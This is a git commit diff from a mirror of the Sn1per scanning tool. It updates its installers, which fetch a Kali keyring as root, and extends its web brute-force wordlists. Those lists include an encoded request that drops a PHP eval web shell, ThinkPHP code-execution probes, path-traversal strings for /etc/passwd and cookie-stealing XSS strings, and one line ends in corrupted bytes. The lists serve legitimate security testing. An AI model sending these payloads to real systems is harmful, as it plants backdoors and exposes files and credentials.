mirror of https://github.com/1N3/Sn1per.git
Sn1per Community Edition by @xer0dayz
This commit is contained in:
root
parent
6a20a9a574
commit
2a593cad9a
|
|
@ -4,6 +4,7 @@
|
||||||
* v8.1 - Added --data-length=50 for NMap IPS evasion
|
* v8.1 - Added --data-length=50 for NMap IPS evasion
|
||||||
* v8.1 - Removed NMap vulscan script due to F+ results
|
* v8.1 - Removed NMap vulscan script due to F+ results
|
||||||
* v8.1 - Fixed issue with CRT.SH sub-domain retrieval
|
* v8.1 - Fixed issue with CRT.SH sub-domain retrieval
|
||||||
|
* v8.1 - Updated Kali Linux keyring package
|
||||||
* v8.1 - Fixed "[: ==: unary operator expected" in all code
|
* v8.1 - Fixed "[: ==: unary operator expected" in all code
|
||||||
* v8.1 - Updated Sn1per Professional autoload settings
|
* v8.1 - Updated Sn1per Professional autoload settings
|
||||||
* v8.1 - Updated web brute force wordlists
|
* v8.1 - Updated web brute force wordlists
|
||||||
|
|
|
||||||
|
|
@ -48,8 +48,8 @@ if [[ $UBUNTU_CHECK == "DISTRIB_ID=Ubuntu" ]]; then
|
||||||
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
||||||
echo "deb-src http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
echo "deb-src http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
||||||
fi
|
fi
|
||||||
wget https://http.kali.org/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2018.2_all.deb -O /tmp/kali-archive-keyring_2018.2_all.deb
|
wget https://http.kali.org/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb -O /tmp/kali-archive-keyring_2020.2_all.deb
|
||||||
apt install /tmp/kali-archive-keyring_2018.2_all.deb
|
apt install /tmp/kali-archive-keyring_2020.2_all.deb
|
||||||
apt update
|
apt update
|
||||||
cp /root/.Xauthority /root/.Xauthority.bak 2> /dev/null
|
cp /root/.Xauthority /root/.Xauthority.bak 2> /dev/null
|
||||||
cp -a /run/user/1000/gdm/Xauthority /root/.Xauthority 2> /dev/null
|
cp -a /run/user/1000/gdm/Xauthority /root/.Xauthority 2> /dev/null
|
||||||
|
|
|
||||||
|
|
@ -26,8 +26,8 @@ if [[ ! -f "/etc/apt/sources.list.bak" ]]; then
|
||||||
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
||||||
echo "deb-src http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
echo "deb-src http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
||||||
fi
|
fi
|
||||||
wget https://http.kali.org/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2018.2_all.deb
|
wget https://http.kali.org/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb -O /tmp/kali-archive-keyring_2020.2_all.deb
|
||||||
apt install ./kali-archive-keyring_2018.2_all.deb
|
apt install /tmp/kali-archive-keyring_2020.2_all.deb
|
||||||
apt update
|
apt update
|
||||||
cp /root/.Xauthority /root/.Xauthority.bak 2> /dev/null
|
cp /root/.Xauthority /root/.Xauthority.bak 2> /dev/null
|
||||||
cp -a /run/user/1000/gdm/Xauthority /root/.Xauthority 2> /dev/null
|
cp -a /run/user/1000/gdm/Xauthority /root/.Xauthority 2> /dev/null
|
||||||
|
|
|
||||||
2
sniper
2
sniper
|
|
@ -3,7 +3,7 @@
|
||||||
# + -- --=[https://xerosecurity.com
|
# + -- --=[https://xerosecurity.com
|
||||||
#
|
#
|
||||||
|
|
||||||
VER="8.1"
|
VER="8.0"
|
||||||
INSTALL_DIR="/usr/share/sniper"
|
INSTALL_DIR="/usr/share/sniper"
|
||||||
LOOT_DIR="$INSTALL_DIR/loot/$TARGET"
|
LOOT_DIR="$INSTALL_DIR/loot/$TARGET"
|
||||||
SNIPER_PRO=$INSTALL_DIR/pro.sh
|
SNIPER_PRO=$INSTALL_DIR/pro.sh
|
||||||
|
|
|
||||||
|
|
@ -5197,3 +5197,152 @@ wizmysqladmin/
|
||||||
ccms/
|
ccms/
|
||||||
ccms/login.php
|
ccms/login.php
|
||||||
ccms/index.php
|
ccms/index.php
|
||||||
|
activemq
|
||||||
|
admin
|
||||||
|
ansible
|
||||||
|
apache
|
||||||
|
artifactory
|
||||||
|
asterisk
|
||||||
|
av
|
||||||
|
aws
|
||||||
|
backup
|
||||||
|
bamb
|
||||||
|
bamboo
|
||||||
|
build
|
||||||
|
capistrano
|
||||||
|
cassandra
|
||||||
|
checkstyle
|
||||||
|
chef
|
||||||
|
ci
|
||||||
|
clickhouse
|
||||||
|
cloud
|
||||||
|
codeship
|
||||||
|
collectd
|
||||||
|
collectl
|
||||||
|
conf
|
||||||
|
confluence
|
||||||
|
consul
|
||||||
|
crm
|
||||||
|
datadog
|
||||||
|
desk
|
||||||
|
dev
|
||||||
|
docker
|
||||||
|
docs
|
||||||
|
dokuwiki
|
||||||
|
elastic
|
||||||
|
elasticsearch
|
||||||
|
email
|
||||||
|
fabric
|
||||||
|
findbugs
|
||||||
|
ganglia
|
||||||
|
gateway
|
||||||
|
git
|
||||||
|
github
|
||||||
|
gitlab
|
||||||
|
gl
|
||||||
|
glpi
|
||||||
|
gradle
|
||||||
|
grafana
|
||||||
|
graphite
|
||||||
|
graylog
|
||||||
|
groovy
|
||||||
|
haproxy
|
||||||
|
icinga
|
||||||
|
influxdb
|
||||||
|
jacoco
|
||||||
|
jenkins
|
||||||
|
jira
|
||||||
|
jk
|
||||||
|
juju
|
||||||
|
junit
|
||||||
|
kafka
|
||||||
|
kairosdb
|
||||||
|
keycloak
|
||||||
|
kibana
|
||||||
|
kube
|
||||||
|
kuber
|
||||||
|
kubernetes
|
||||||
|
ldap
|
||||||
|
liferay
|
||||||
|
log
|
||||||
|
logstash
|
||||||
|
mail
|
||||||
|
mattermost
|
||||||
|
maven
|
||||||
|
mcollective
|
||||||
|
memcached
|
||||||
|
mercurial
|
||||||
|
mesos
|
||||||
|
metric
|
||||||
|
metrics
|
||||||
|
mirror
|
||||||
|
mongo
|
||||||
|
mongodb
|
||||||
|
monit
|
||||||
|
monitoring
|
||||||
|
mysql
|
||||||
|
naginator
|
||||||
|
nagios
|
||||||
|
netdata
|
||||||
|
nextcloud
|
||||||
|
nfs
|
||||||
|
oauth
|
||||||
|
openshift
|
||||||
|
openstack
|
||||||
|
opentsdb
|
||||||
|
osticket
|
||||||
|
otrs
|
||||||
|
owncloud
|
||||||
|
package
|
||||||
|
pagerduty
|
||||||
|
pbx
|
||||||
|
prometheus
|
||||||
|
proxy
|
||||||
|
puppet
|
||||||
|
rabbitmq
|
||||||
|
radius
|
||||||
|
raygun
|
||||||
|
redis
|
||||||
|
redmine
|
||||||
|
registry
|
||||||
|
repo
|
||||||
|
rudder
|
||||||
|
saltstack
|
||||||
|
sbt
|
||||||
|
scalyr
|
||||||
|
selenium
|
||||||
|
sensu
|
||||||
|
sentry
|
||||||
|
sip
|
||||||
|
snort
|
||||||
|
sonar
|
||||||
|
sonarcube
|
||||||
|
sonarqube
|
||||||
|
splunk
|
||||||
|
squid
|
||||||
|
stackstorm
|
||||||
|
stas
|
||||||
|
stash
|
||||||
|
statsd
|
||||||
|
subversion
|
||||||
|
supervisor
|
||||||
|
supervisord
|
||||||
|
support
|
||||||
|
svn
|
||||||
|
tasks
|
||||||
|
team
|
||||||
|
teraform
|
||||||
|
tools
|
||||||
|
tripwire
|
||||||
|
ui
|
||||||
|
upguard
|
||||||
|
vagrant
|
||||||
|
variant
|
||||||
|
vault
|
||||||
|
violations
|
||||||
|
vpn
|
||||||
|
vtiger
|
||||||
|
wiki
|
||||||
|
zabbix
|
||||||
|
zimbra
|
||||||
|
zipkin
|
||||||
File diff suppressed because it is too large
Load Diff
|
|
@ -1,3 +1,393 @@
|
||||||
|
|
||||||
|
%3Cinvalid%3Ehello.html
|
||||||
|
%3Cscript%3Ealert%281%29%3C/script%3E.html
|
||||||
|
../../../../etc/passwd
|
||||||
|
.DS_Store
|
||||||
|
.bashrc
|
||||||
|
.env
|
||||||
|
.ftpconfig
|
||||||
|
.git
|
||||||
|
.git/config
|
||||||
|
.gitignore
|
||||||
|
.remote-sync.json
|
||||||
|
.ssh
|
||||||
|
.svn
|
||||||
|
.travis.yml
|
||||||
|
.vscode/ftp-sync.json
|
||||||
|
.vscode/sftp.json
|
||||||
|
//webconfig.txt.php
|
||||||
|
/Admin_Files/
|
||||||
|
/administrator//webconfig.txt.php
|
||||||
|
/administrator/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B
|
||||||
|
/cdn-cgi/l/email-protection
|
||||||
|
/webconfig.txt.php
|
||||||
|
0154bbf5-07f1-4c7c-8e46-0ff2fa7c4b63
|
||||||
|
1x.php
|
||||||
|
2e08EGDu9JsP.tar.gz
|
||||||
|
2phpmyadmin/index.php?lang=en
|
||||||
|
398df0ca-e26a-4c1b-8dfb-741e7bc65629
|
||||||
|
5IbjhV3Fvvzu.bak
|
||||||
|
<invalid>hello.html
|
||||||
|
<script>alert(1)</script>.html
|
||||||
|
?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B
|
||||||
|
?id=<script>alert(1)</script>
|
||||||
|
?nx=@@
|
||||||
|
Admin
|
||||||
|
B47lt8fmobYn.aspx
|
||||||
|
Dockerfile
|
||||||
|
Drupal.php
|
||||||
|
IEpIHskiaThc/
|
||||||
|
JRVa7EKZr3U1.html
|
||||||
|
Makefile
|
||||||
|
MyAdmin/index.php
|
||||||
|
MyAdmin/index.php?lang=en
|
||||||
|
PMA/index.php
|
||||||
|
PMA/index.php?lang=en
|
||||||
|
PMA2/index.php
|
||||||
|
PMA2011/index.php?lang=en
|
||||||
|
PMA2012/index.php?lang=en
|
||||||
|
PMA2013/index.php?lang=en
|
||||||
|
PMA2014/index.php?lang=en
|
||||||
|
PMA2015/index.php?lang=en
|
||||||
|
PMA2016/index.php?lang=en
|
||||||
|
PMA2017/index.php?lang=en
|
||||||
|
PMA2018/index.php?lang=en
|
||||||
|
R8zHnpvsaVdU.htm
|
||||||
|
TP/index.php
|
||||||
|
TP/public/index.php
|
||||||
|
Wj2nrelVEj2s.php
|
||||||
|
_query.php
|
||||||
|
aBrCi1xjVYfd.zip
|
||||||
|
admin
|
||||||
|
admin/.env
|
||||||
|
admin/PMA/index.php
|
||||||
|
admin/db/index.php?lang=en
|
||||||
|
admin/index.php
|
||||||
|
admin/index.php?lang=en
|
||||||
|
admin/mysql/index.php
|
||||||
|
admin/mysql2/index.php
|
||||||
|
admin/pMA/index.php?lang=en
|
||||||
|
admin/phpMyAdmin/index.php
|
||||||
|
admin/phpMyAdmin/index.php?lang=en
|
||||||
|
admin/phpmyadmin/index.php
|
||||||
|
admin/phpmyadmin/index.php?lang=en
|
||||||
|
admin/phpmyadmin2/index.php
|
||||||
|
admin/pma/index.php
|
||||||
|
admin/sqladmin/index.php?lang=en
|
||||||
|
admin/sysadmin/index.php?lang=en
|
||||||
|
admin/web/index.php?lang=en
|
||||||
|
administrator/PMA/index.php?lang=en
|
||||||
|
administrator/admin/index.php?lang=en
|
||||||
|
administrator/db/index.php?lang=en
|
||||||
|
administrator/phpMyAdmin/index.php?lang=en
|
||||||
|
administrator/phpmyadmin/index.php?lang=en
|
||||||
|
administrator/pma/index.php?lang=en
|
||||||
|
administrator/web/index.php?lang=en
|
||||||
|
api
|
||||||
|
api/.env
|
||||||
|
app/.env
|
||||||
|
appserv.php
|
||||||
|
blog
|
||||||
|
cacti/plugins/weathermap/editor.php
|
||||||
|
cgi-bin
|
||||||
|
cgi-bin/firmware.cgi?formNumber=200
|
||||||
|
claroline/phpMyAdmin/index.php
|
||||||
|
cmd.exe
|
||||||
|
cmd.php
|
||||||
|
cmdd.php
|
||||||
|
cmv.php
|
||||||
|
composer.json
|
||||||
|
composer.php
|
||||||
|
composers.php
|
||||||
|
css
|
||||||
|
d7.php
|
||||||
|
data
|
||||||
|
database/index.php?lang=en
|
||||||
|
db/db-admin/index.php?lang=en
|
||||||
|
db/dbadmin/index.php?lang=en
|
||||||
|
db/dbweb/index.php?lang=en
|
||||||
|
db/index.php
|
||||||
|
db/index.php?lang=en
|
||||||
|
db/myadmin/index.php?lang=en
|
||||||
|
db/phpMyAdmin-3/index.php?lang=en
|
||||||
|
db/phpMyAdmin/index.php?lang=en
|
||||||
|
db/phpMyAdmin3/index.php?lang=en
|
||||||
|
db/phpmyadmin/index.php?lang=en
|
||||||
|
db/phpmyadmin3/index.php?lang=en
|
||||||
|
db/webadmin/index.php?lang=en
|
||||||
|
db/webdb/index.php?lang=en
|
||||||
|
db/websql/index.php?lang=en
|
||||||
|
db_cts.php
|
||||||
|
db_pma.php
|
||||||
|
dbadmin/index.php
|
||||||
|
dbadmin/index.php?lang=en
|
||||||
|
deployment-config.json
|
||||||
|
desktop.ini.php
|
||||||
|
dev/.env
|
||||||
|
ezQvDVsRilYn
|
||||||
|
favicon.ico
|
||||||
|
gVLPOA6kgtKm.asp
|
||||||
|
gulpfile.js
|
||||||
|
hell.php
|
||||||
|
help-e.php
|
||||||
|
help.php
|
||||||
|
home
|
||||||
|
home.php
|
||||||
|
htdocs.php
|
||||||
|
hue2.php
|
||||||
|
icons/apache_pb.gif
|
||||||
|
icons/apache_pb2.gif
|
||||||
|
images
|
||||||
|
images/
|
||||||
|
images/!.php
|
||||||
|
images/vuln.php
|
||||||
|
img
|
||||||
|
img/
|
||||||
|
index
|
||||||
|
index.action
|
||||||
|
index.asp
|
||||||
|
index.aspx
|
||||||
|
index.do
|
||||||
|
index.htm
|
||||||
|
index.html
|
||||||
|
index.jsp
|
||||||
|
index.php
|
||||||
|
index.php?lang=en
|
||||||
|
index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%4\x99\x9e6
|
||||||
|
index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP
|
||||||
|
index.php?s=/index/
|
||||||
|
index.php?s=Home/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1
|
||||||
|
index.php?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1
|
||||||
|
izom.php
|
||||||
|
java.php
|
||||||
|
js
|
||||||
|
knal.php
|
||||||
|
lala-dpr.php
|
||||||
|
lala.php
|
||||||
|
lang.php?f=1
|
||||||
|
license.php
|
||||||
|
log.php
|
||||||
|
logon.php
|
||||||
|
lol.php
|
||||||
|
manager/html
|
||||||
|
muhstik-dpr.php
|
||||||
|
muhstik.php
|
||||||
|
muhstik2.php
|
||||||
|
muhstiks.php
|
||||||
|
myadmin/index.php
|
||||||
|
myadmin/index.php?lang=en
|
||||||
|
myadmin2/index.php
|
||||||
|
mysql-admin/index.php
|
||||||
|
mysql-admin/index.php?lang=en
|
||||||
|
mysql/admin/index.php
|
||||||
|
mysql/admin/index.php?lang=en
|
||||||
|
mysql/db/index.php?lang=en
|
||||||
|
mysql/dbadmin/index.php
|
||||||
|
mysql/dbadmin/index.php?lang=en
|
||||||
|
mysql/index.php
|
||||||
|
mysql/index.php?lang=en
|
||||||
|
mysql/mysqlmanager/index.php
|
||||||
|
mysql/mysqlmanager/index.php?lang=en
|
||||||
|
mysql/pMA/index.php?lang=en
|
||||||
|
mysql/pma/index.php?lang=en
|
||||||
|
mysql/sqlmanager/index.php
|
||||||
|
mysql/sqlmanager/index.php?lang=en
|
||||||
|
mysql/web/index.php?lang=en
|
||||||
|
mysql_admin/index.php
|
||||||
|
mysqladmin/index.php
|
||||||
|
mysqladmin/index.php?lang=en
|
||||||
|
mysqlmanager/index.php?lang=en
|
||||||
|
new_license.php
|
||||||
|
package.json
|
||||||
|
payload.php
|
||||||
|
php-my-admin/index.php?lang=en
|
||||||
|
php-myadmin/index.php?lang=en
|
||||||
|
php2MyAdmin/index.php
|
||||||
|
phpAdmin/index.php
|
||||||
|
phpMyAbmin/index.php
|
||||||
|
phpMyAdm1n/index.php
|
||||||
|
phpMyAdmin
|
||||||
|
phpMyAdmin+++---/index.php
|
||||||
|
phpMyAdmin-3/index.php?lang=en
|
||||||
|
phpMyAdmin-4.4.0/index.php
|
||||||
|
phpMyAdmin._/index.php
|
||||||
|
phpMyAdmin.old/index.php
|
||||||
|
phpMyAdmin/index.php
|
||||||
|
phpMyAdmin/index.php?lang=en
|
||||||
|
phpMyAdmin/phpMyAdmin/index.php
|
||||||
|
phpMyAdmin/scripts/db___.init.php
|
||||||
|
phpMyAdmin/scripts/setup.php
|
||||||
|
phpMyAdmin1/index.php
|
||||||
|
phpMyAdmin123/index.php
|
||||||
|
phpMyAdmin2/index.php?lang=en
|
||||||
|
phpMyAdmin3/index.php?lang=en
|
||||||
|
phpMyAdmin4/index.php?lang=en
|
||||||
|
phpMyAdmin__/index.php
|
||||||
|
phpMyAdmina/index.php
|
||||||
|
phpMyAdminold/index.php
|
||||||
|
phpMyAdmins/index.php
|
||||||
|
phpMyAdmion/index.php
|
||||||
|
phpMyadmi/index.php
|
||||||
|
phpMyadmin/index.php?lang=en
|
||||||
|
phpMyadmin_bak/index.php
|
||||||
|
phpMydmin/index.php
|
||||||
|
phpNyAdmin/index.php
|
||||||
|
phpadmin/index.php
|
||||||
|
phpiMyAdmin/index.php
|
||||||
|
phpma/index.php
|
||||||
|
phpmy-admin/index.php?lang=en
|
||||||
|
phpmy/index.php
|
||||||
|
phpmy/index.php?lang=en
|
||||||
|
phpmyAdmin/index.php?lang=en
|
||||||
|
phpmyadm1n/index.php
|
||||||
|
phpmyadmin
|
||||||
|
phpmyadmin-old/index.php
|
||||||
|
phpmyadmin/index.php
|
||||||
|
phpmyadmin/index.php?lang=en
|
||||||
|
phpmyadmin/phpmyadmin/index.php
|
||||||
|
phpmyadmin/scripts/db___.init.php
|
||||||
|
phpmyadmin/scripts/setup.php
|
||||||
|
phpmyadmin0/index.php
|
||||||
|
phpmyadmin1/index.php
|
||||||
|
phpmyadmin2/index.php
|
||||||
|
phpmyadmin2/index.php?lang=en
|
||||||
|
phpmyadmin2011/index.php?lang=en
|
||||||
|
phpmyadmin2012/index.php?lang=en
|
||||||
|
phpmyadmin2013/index.php?lang=en
|
||||||
|
phpmyadmin2014/index.php?lang=en
|
||||||
|
phpmyadmin2015/index.php?lang=en
|
||||||
|
phpmyadmin2016/index.php?lang=en
|
||||||
|
phpmyadmin2017/index.php?lang=en
|
||||||
|
phpmyadmin2018/index.php?lang=en
|
||||||
|
phpmyadmin2019/index.php?lang=en
|
||||||
|
phpmyadmin2222/index.php
|
||||||
|
phpmyadmin3/index.php?lang=en
|
||||||
|
phpmyadmin4/index.php?lang=en
|
||||||
|
phppma/index.php
|
||||||
|
phppma/index.php?lang=en
|
||||||
|
plugins/weathermap/editor.php
|
||||||
|
pma-old/index.php
|
||||||
|
pma/index.php
|
||||||
|
pma/index.php?lang=en
|
||||||
|
pma2011/index.php?lang=en
|
||||||
|
pma2012/index.php?lang=en
|
||||||
|
pma2013/index.php?lang=en
|
||||||
|
pma2014/index.php?lang=en
|
||||||
|
pma2015/index.php?lang=en
|
||||||
|
pma2016/index.php?lang=en
|
||||||
|
pma2017/index.php?lang=en
|
||||||
|
pma2018/index.php?lang=en
|
||||||
|
pma2019/index.php?lang=en
|
||||||
|
pmamy/index.php
|
||||||
|
pmamy2/index.php
|
||||||
|
pmd/index.php
|
||||||
|
pmd_online.php
|
||||||
|
portal
|
||||||
|
program/index.php
|
||||||
|
program/index.php?lang=en
|
||||||
|
pwd/index.php
|
||||||
|
readme.md
|
||||||
|
readme.txt
|
||||||
|
robots.txt
|
||||||
|
rxr.php
|
||||||
|
s/index.php
|
||||||
|
scripts
|
||||||
|
scripts.js
|
||||||
|
scripts/setup.php
|
||||||
|
server.js
|
||||||
|
sftp-config.json
|
||||||
|
shaAdmin/index.php
|
||||||
|
shell.php
|
||||||
|
shopdb/index.php
|
||||||
|
shopdb/index.php?lang=en
|
||||||
|
sitemap.xml
|
||||||
|
spider.php
|
||||||
|
sql/myadmin/index.php?lang=en
|
||||||
|
sql/php-myadmin/index.php?lang=en
|
||||||
|
sql/phpMyAdmin/index.php?lang=en
|
||||||
|
sql/phpMyAdmin2/index.php?lang=en
|
||||||
|
sql/phpmanager/index.php?lang=en
|
||||||
|
sql/phpmy-admin/index.php?lang=en
|
||||||
|
sql/phpmyadmin2/index.php?lang=en
|
||||||
|
sql/sql-admin/index.php?lang=en
|
||||||
|
sql/sql/index.php?lang=en
|
||||||
|
sql/sqladmin/index.php?lang=en
|
||||||
|
sql/sqlweb/index.php?lang=en
|
||||||
|
sql/webadmin/index.php?lang=en
|
||||||
|
sql/webdb/index.php?lang=en
|
||||||
|
sql/websql/index.php?lang=en
|
||||||
|
sqlmanager/index.php?lang=en
|
||||||
|
stalker_portal/LICENSE
|
||||||
|
static/.gitignore
|
||||||
|
struts2-rest-showcase/orders.xhtml
|
||||||
|
t6nv.php
|
||||||
|
test.php
|
||||||
|
text.php
|
||||||
|
tools/phpMyAdmin/index.php
|
||||||
|
typo3/phpmyadmin/index.php
|
||||||
|
undx.php
|
||||||
|
upload
|
||||||
|
uploader.php
|
||||||
|
uploads
|
||||||
|
user
|
||||||
|
users
|
||||||
|
v/index.php
|
||||||
|
vpn/../vpns/cfg/smb.conf
|
||||||
|
web.config
|
||||||
|
web/.env
|
||||||
|
web/phpMyAdmin/index.php
|
||||||
|
webdav/
|
||||||
|
wordpress
|
||||||
|
wordpress/
|
||||||
|
wordpress/?author=1
|
||||||
|
wordpress/?author=2
|
||||||
|
wordpress/?author=3
|
||||||
|
wordpress/?author=4
|
||||||
|
wordpress/?author=5
|
||||||
|
wordpress/?author=6
|
||||||
|
wordpress/tag/history/
|
||||||
|
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/amex.svg
|
||||||
|
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/diners.svg
|
||||||
|
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/discover.svg
|
||||||
|
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/jcb.svg
|
||||||
|
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/laser.svg
|
||||||
|
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/maestro.svg
|
||||||
|
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/mastercard.svg
|
||||||
|
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/visa.svg
|
||||||
|
wordpress/wp-json/jetpack/v4/jitm?message_path=wp%3Ashop_order%3Aadmin_notices&query=post%253D6621%252Caction%253Dedit%252Cmessage%253D1&_wpnonce=d2edde835f
|
||||||
|
wordpress/wp-json/jetpack/v4/jitm?message_path=wp%3Ashop_order%3Aedit_form_top&query=post%253D6621%252Caction%253Dedit%252Cmessage%253D1&_wpnonce=d2edde835f
|
||||||
|
wordpress/wp-json/wc-analytics/admin/notes?order=desc&orderby=date&page=1&per_page=1&type=info%2Cwarning&_locale=user
|
||||||
|
wordpress/wp-json/wc-analytics/admin/notes?page=1&per_page=25&status=unactioned&type=error%2Cupdate&_locale=user
|
||||||
|
wordpress/wp-json/wc-analytics/orders?_fields%5B0%5D=id&page=1&per_page=1&status%5B0%5D=processing&status%5B1%5D=on-hold&_locale=user
|
||||||
|
wordpress/wp-json/wc-analytics/products?low_in_stock=true&page=1&per_page=1&status=publish&_locale=user
|
||||||
|
wordpress/wp-json/wp/v2/users/me?context=edit&_locale=user
|
||||||
|
wordpress/xmlrpc.php?action=query&exintro=&explaintext=&format=json&prop=extracts&titles=
|
||||||
|
wordpress/xmlrpc.php?for=jetpack
|
||||||
|
wp
|
||||||
|
wp-admin/css/install.min.css?ver=5.0.3
|
||||||
|
wp-admin/images/spinner.gif
|
||||||
|
wp-admin/images/wordpress-logo.svg?ver=20131107
|
||||||
|
wp-admin/install.php
|
||||||
|
wp-admin/js/language-chooser.min.js?ver=5.0.3
|
||||||
|
wp-admin/js/password-strength-meter.min.js?ver=5.0.3
|
||||||
|
wp-admin/js/user-profile.min.js?ver=5.0.3
|
||||||
|
wp-config.php
|
||||||
|
wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php
|
||||||
|
wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en
|
||||||
|
wp-includes/css/buttons.min.css?ver=5.0.3
|
||||||
|
wp-includes/css/dashicons.min.css?ver=5.0.3
|
||||||
|
wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1
|
||||||
|
wp-includes/js/jquery/jquery.js?ver=1.12.4
|
||||||
|
wp-includes/js/underscore.min.js?ver=1.8.3
|
||||||
|
wp-includes/js/wp-util.min.js?ver=5.0.3
|
||||||
|
wp-includes/js/zxcvbn-async.min.js?ver=1.0
|
||||||
|
wp-includes/js/zxcvbn.min.js
|
||||||
|
wpc.php
|
||||||
|
wpo.php
|
||||||
|
www/phpMyAdmin/index.php
|
||||||
|
x.php
|
||||||
|
xampp/phpmyadmin/index.php
|
||||||
|
z.php
|
||||||
.htaccess
|
.htaccess
|
||||||
.htpasswd
|
.htpasswd
|
||||||
.meta
|
.meta
|
||||||
|
|
@ -441,7 +831,7 @@ cgi-bin/fortune
|
||||||
cgi-bin/redirect
|
cgi-bin/redirect
|
||||||
cgi-bin/uptime
|
cgi-bin/uptime
|
||||||
cgi-bin/wais.pl
|
cgi-bin/wais.pl
|
||||||
/
|
|
||||||
webtop/wdk/
|
webtop/wdk/
|
||||||
SilverStream
|
SilverStream
|
||||||
signon
|
signon
|
||||||
|
|
@ -492,7 +882,7 @@ cgi-bin/test-env
|
||||||
.perf
|
.perf
|
||||||
|
|
||||||
|
|
||||||
/
|
|
||||||
admin-serv/config/admpw
|
admin-serv/config/admpw
|
||||||
test.php%20
|
test.php%20
|
||||||
*.*
|
*.*
|
||||||
|
|
@ -588,9 +978,9 @@ php/php.exe?c:\boot.ini
|
||||||
../../../../../../../../../boot.ini
|
../../../../../../../../../boot.ini
|
||||||
../../../../winnt/repair/sam._
|
../../../../winnt/repair/sam._
|
||||||
..\\..\\..\\..\\..\\..\\..\\boot.ini
|
..\\..\\..\\..\\..\\..\\..\\boot.ini
|
||||||
//etc/passwd
|
/etc/passwd
|
||||||
//etc/hosts
|
/etc/hosts
|
||||||
///./../.../boot.ini
|
//./../.../boot.ini
|
||||||
.cobalt/sysManage/../admin/.htaccess
|
.cobalt/sysManage/../admin/.htaccess
|
||||||
albums/userpics/Copperminer.jpg.php?cat%20/etc/passwd
|
albums/userpics/Copperminer.jpg.php?cat%20/etc/passwd
|
||||||
autohtml.php?op=modload&mainfile=x&name=/etc/passwd
|
autohtml.php?op=modload&mainfile=x&name=/etc/passwd
|
||||||
|
|
@ -970,8 +1360,8 @@ a.jsp/<script>alert('Vulnerable')</script>
|
||||||
<script>alert('Vulnerable')</script>.shtml
|
<script>alert('Vulnerable')</script>.shtml
|
||||||
<script>alert('Vulnerable')</script>.jsp
|
<script>alert('Vulnerable')</script>.jsp
|
||||||
<script>alert('Vulnerable')</script>.aspx
|
<script>alert('Vulnerable')</script>.aspx
|
||||||
/profiles.php?what=contact&author=ich&authoremail=bla%40bla.com&subject=hello&message=text&uid=<script>alert(document.cookie)</script>
|
profiles.php?what=contact&author=ich&authoremail=bla%40bla.com&subject=hello&message=text&uid=<script>alert(document.cookie)</script>
|
||||||
/comment.php?mode=Delete&sid=1&cid=<script>alert(document.cookie)</script>
|
comment.php?mode=Delete&sid=1&cid=<script>alert(document.cookie)</script>
|
||||||
<script>alert('Vulnerable');</script>
|
<script>alert('Vulnerable');</script>
|
||||||
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
|
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
|
||||||
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
|
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
|
||||||
|
|
@ -1250,7 +1640,7 @@ _vti_pvt/writeto.cnf
|
||||||
_vti_pvt/linkinfo.cnf
|
_vti_pvt/linkinfo.cnf
|
||||||
admin/
|
admin/
|
||||||
isx.html
|
isx.html
|
||||||
//
|
/
|
||||||
cgi-bin/blog/mt-check.cgi
|
cgi-bin/blog/mt-check.cgi
|
||||||
mailman/admin/ml-name?\"><script>alert('Vulnerable')</script>;
|
mailman/admin/ml-name?\"><script>alert('Vulnerable')</script>;
|
||||||
